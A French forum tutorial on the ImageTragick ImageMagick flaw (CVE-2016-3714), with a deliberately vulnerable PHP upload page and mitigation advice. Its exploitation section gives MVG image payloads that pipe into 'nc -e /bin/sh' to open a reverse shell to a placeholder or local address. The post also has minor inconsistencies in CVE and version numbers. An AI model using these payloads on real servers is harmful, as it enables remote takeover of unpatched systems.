Annonce

Réduire
Aucune annonce.

ImageTragick cette faille qui a embrasé la scène IT

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • News ImageTragick cette faille qui a embrasé la scène IT

    ImageTragick la nouvelle faille qui embrase la scène IT


    Après le buzz autour de Heartbleed, Shellshock, Poodle et j’en passe, c’est au tour de la faille baptisé « ImageTragick » d’obtenir son nom, son logo, et son site dédié.

    Le 3 mai dernier, le petit monde de l’infosec s’enflamme. Deux chercheurs d’origine russe publient leur « tragick » découverte. De multiples vulnérabilités ont été découvertes au sein de la suite ImageMagick, et permettent la prise de contrôle à distance. Une d’entre elles sort du lot. Elle est référencée CVE-2016–3714
    La suite, utilisée dans le traitement d’image et implémentée au sein de nombreux langages (pour ne pas dire tous) ; offre désormais un point d’entrée sur les systèmes employant la solution au sein de leurs formulaires d’upload d’image (forums, réseaux sociaux, galeries, CMS, etc.).

    Le nombre de serveur concernés étant particulièrement important., et la faille étant particulièrement simple à exploiter, l’emballement autour d’ImageTragick fait sens…



    I - Présentation de la vulnérabilité

    Qu'est-ce que ImageMagick ?
    ImageMagick est une bibliothèque Open Source très répandue et largement utilisée pour créer, éditer, convertir ou composer des fichiers images (plus de 200 formats sont supportés).

    La « tragick » vulnérabilité
    Les nombreuses vulnérabilités au sein de l’utilitaire ont été découvertes par deux chercheurs. Stewie un chercheur en sécurité a trouvé le bug initial (CVE-2016-3717) et Nikolay Ermishkin les bugs supplémentaires, notamment celui permettant l’exécution de code à distance.
    C’est cette vulnérabilité (CVE-2016-3714) particulièrement simple à exploiter qui nous intéresse aujourd’hui.

    Cette dernière vulnérabilité touche les versions d’ ImageMagick 6.x > 6.9.3-10 et ImageMagick 7.x > 7.0.1-1 (datant d’avant fin avril 2016).
    La faille permet l’injection de code arbitraire, et provient d’un filtrage insuffisant sur les chemin d’accès aux images, qu’ils s’agise de chemins locaux, ou distants (http(s) entre autres). En effet, il est possible d’utiliser des caractères pouvant être utilisés en ligne de commande.


    En effet, ImageMagick permet de manipuler les images en faisant appel à des librairies externes. Cette fonctionnalité, appelée « delegate », correspond grosso-modo à l’exécution de la commande suivantes, en spécifiant différents paramètres comme le nom du fichier image : system(« $commande $paramètre »). Les différentes commandes utilisables, répertoriés au sein du fichier « delegate.xml » prennent en compte divers paramètres (entrées/sorties de noms de fichiers etc.). Le problème réside dans un mauvais filtrage du contenu de certains paramètre, comme %M, ce qui permet l’injection de commande. Pour cela, rien de plus simple, il suffit d’insérer dans le paramètre manipuler un caractère non filtré, comme le pipe (« | »).

    Prenons l’exemple suivant. Au travers de la fonctionnalité « delegate », ImageMagick est capable de récupérer pour l’utilisateur des fichiers distant.

    Concrètement, cela est entre autres nécessaire pour permettre la manipulation des fichiers images de type SVG (Scalable Vector Graphics) et MVG (Magick Vector Graphics), qui peuvent contenir des références à d’autres ressources aussi bien locales que distantes. Cependant, cette fonctionnalité ne se limite pas au traitement des fichiers SVG ou MVG, mais au traitement de tous les types de fichiers.

    Note : MVG (Magick Vector Graphics), est un format de fichier d’image prenant la forme d’un script. Ici il est utile car il permet de manipuler facilement des images à l’aide de ImageMagick.
    Pour cela, rien de plus simple, il suffit de spécifier un chemin absolu tu type URL comme source. Comme le montre le fichier « delegate.xml », le traitement des URL est délégué par ImageMagick à l’utilitaire Curl. En l’occurrence, lorsqu’une image distante est référencée via une URL en http ou HTTPS, la commande curl suivante est exécutée par ImageMagick. Ici, on comprend aisément que le paramètre %M correspond au lien spécifié en entrée.


    Code:
     "curl" –s –k –L –o "%o" "https:%M"
    %M est le lien en entrée, la chose intéressante est la suivante :


    Code:
     ‘https://example.com » ; | ls « -la’

    En effet il est possible de passer la valeur en utilisant pipe « | », et injecter directement une commande système.

    Note : ImageMagick détermine le type de fichier en entrée grâce à son contenu, et non pas grâce à son extension. Comme nous le verrons par la suite dans la démonstration : notre uploader n’acceptera que les fichiers JPG et PNG. C’est pourquoi nous enverrons un fichier PNG contenant du code MVG en vue d’une exploitation.
    ImageMagick n’en tenant pas compte, même les uploaders « sécurisés » n’acceptant pas les images aux formats SVG ou MVG, ne sont pas à l’abri.
    Cette exécution de commande système permet d’imaginer plusieurs scénarios :
    - Le téléchargement et l’exécution d’un fichier malveillant
    - Une mise en place de backdoor (de type « reverse » via netcat par exemple)

    Cette prise de contrôle amène alors à tous types de conséquences :
    - Vol de données
    - Déni de service
    - Utilisation de la machine pour lancer d’autres actions malveillantes (phishing, Dos, hébergement de sites frauduleux, etc.)
    - Accès au Parc informatique et pivot sur d’autres machines…


    II - Exploitation de la faille
    Afin de mieux comprendre la faille, passons à la pratique. Dans un premier temps, nous mettrons au point un site en local vulnérable, composé d’une page principale et d’un script d’upload. Puis dans un second temps nous prendrons le point de vue de l’attaquant, exploiterons la faille, et prendrons le contrôle du système cible.

    Mise en place de la vulnérabilité
    1. Pour cette démonstration nous avons installé une ancienne version d’ImageMagick, vulnérable à l’attaque.

    2. Nous créons notre page d’upload d’image sur notre site personnel

    index.php
    Code PHP:
     <!DOCTYPE html>
    <html>
        <head>
            <title>Secure uplaod page</title>
        </head>
        <body>
            <h1>Secure uplaod page</h1>
            <form method="POST" enctype="multipart/form-data">
                <input type="file" name="myimage">
                <input type="submit" name="submit">
            </form>

            <?php
                
    include("upload.php");
            
    ?>
    </body>
    </html>
    3. La taille des images étant fixe sur notre site, nous utilisons une fonctionnalité très utilisée au sein d’ImageMagick, le redimensionnement d’image (fonction vulnérable, issue de delegate.xml).

    upload.php
    Code PHP:
    <?php

    if (isset($_POST["submit"])){

        
    $validExt = array(".jpg"".png");
        
    $image $_FILES["myimage"];
        
    $ext strrchr($image["name"], ".");

        if(!
    in_array($ext$validExt)){
            exit(
    "invalid extention");
        }

        if (
    move_uploaded_file($image["tmp_name"], "oimage.png")) {
            
    system("convert oimage.png myimage.png");
            echo 
    "image has been uploaded  <a href='myimage.png'>here</a>";
        }
        else {
            echo 
    "something wrong";
        }
    }
    Exploitation de la vulnérabilité
    À présent, prenons le rôle de l’attaquant : nous sommes en juillet 2016, un correctif pour ImageMagick est disponible depuis des mois. Cependant, la mise à disposition d’un correctif ne signifie pas pour autant qu’il ait été installé. Par conséquent nous allons tenter notre chance…

    Nous découvrons ce site personnel, il ne paye pas (mais alors pas du tout) de mine, il y a de fortes probabilités pour qu’il soit autohébergé sur un système surement non maintenu à jour…

    1. Nous créons notre fichier image malveillant. Celui-ci contient un lien vers une image distante, peu importe laquelle. La suite est plus intéressante : le code suivant permet d’ouvrir une connexion de type « reverse », autant dire une backdoor via Netcat, vers notre machine attaquante (adresse : 127.0.0.1 et port : 6666).


    evil.png
    Code:
    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://127.0.0.1/someimage.jpg"|nc -e /bin/sh IP_ADDRESS_HERE "PORT_HERE)'
    pop graphic-context
    Dans notre cas, nous allons utiliser notre adresse locale et le port 6666, ce qui nous donne :

    evil_real.png
    Code:
    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://127.0.0.1/someimage.jpg"|nc -e /bin/sh 127.0.0.1 "6666)'
    pop graphic-context

    2. Préparons notre machine attaquante pour recevoir la connexion, nous ouvrons donc notre listener, à l’écoute sur le port renseigné.


    3. Une fois ces deux éléments prêts, il nous suffit d’uploader l’image via le beau formulaire présent sur le site cible.

    4. Bravo vous avez la main mise sur le système hébergeant le site. Libre à vous de choisir ce que vous en ferez !




    III - Se protéger de la faille
    Depuis mai la vulnérabilité a été corrigée, il suffit de mettre à jour votre bibliothèque vers la dernière version d’imageMagick (ImageMagick 6.x > 6.9.3-10 ou ImageMagick 7.x > 7.0.1-1).

    Cependant, si pour une quelconque raison vous ne pouvez pas installer ce correctif, la faille Image Tragick (CVE-2015-3714) peut être remédiée en modifiant la configuration, via une simple modification du fichier /etc/ImageMagick/policy.xml. Et de désactiver les encodeurs vulnérables (SVG, MVG), ainsi que le HTTPS comme nous l’avons vu plus haut, Il suffit pour cela de rajouter les directives suivantes :

    policy.xml
    Code:
    <policymap>
      <policy domain="coder" rights="none" pattern="EPHEMERAL" />
      <policy domain="coder" rights="none" pattern="URL" />
      <policy domain="coder" rights="none" pattern="HTTPS" />
      <policy domain="coder" rights="none" pattern="MVG" />
      <policy domain="coder" rights="none" pattern="MSL" />
      <policy domain="coder" rights="none" pattern="TEXT" />
      <policy domain="coder" rights="none" pattern="SHOW" />
      <policy domain="coder" rights="none" pattern="WIN" />
      <policy domain="coder" rights="none" pattern="PLT" />
    </policymap>
    Par la suite, vous pouvez vérifier votre configuration en essayant à nouveau d’exploiter la faille, ou tout simplement en utilisant ce script :


    Code:
    git clone https://github.com/ImageTragick/PoCs.git
    cd PoCs
    chmod +x test.sh && ./test.sh

    https://github.com/ImageTragick/PoCs

    Toutefois, même si la CVE-2016-3714 reste la plus critique, d’autres vulnérabilités ont également été découvertes et corrigées dans la bibliothèque en mai dernier. De ce fait, modifier votre fichier policy.xml ne suffit pas pour sécuriser complètement votre site, mettre à jour ImageMagick reste nécessaire.


    IV - Conclusion
    En mai dernier la vulnérabilité est publiée. Son exploitation est tellement simple qu’elle en est particulièrement critique et déconcertante, de par les dommages qui lui sont associés. Toutefois la contremesure l’est tout autant… On ne répètera jamais assez qu’il est nécessaire de maintenir son système à jour.

    Sources :


    Suivre Hackademics: Twitter, Google+, Facebook.

  • #2
    Très très bon !

    Je dirais même parfait.
    Je n'ai rien à y redire.
    Compréhensible, complet et possible de le répéter. Tout ce que l'on cherchait à faire.

    Commentaire


    • #3
      Merci Anon


      Suivre Hackademics: Twitter, Google+, Facebook.

      Commentaire


      • #4
        Simpas ! merci du partage
        "Please do not use in military or secret service, or for illegal purposes."

        Commentaire

        Chargement...
        X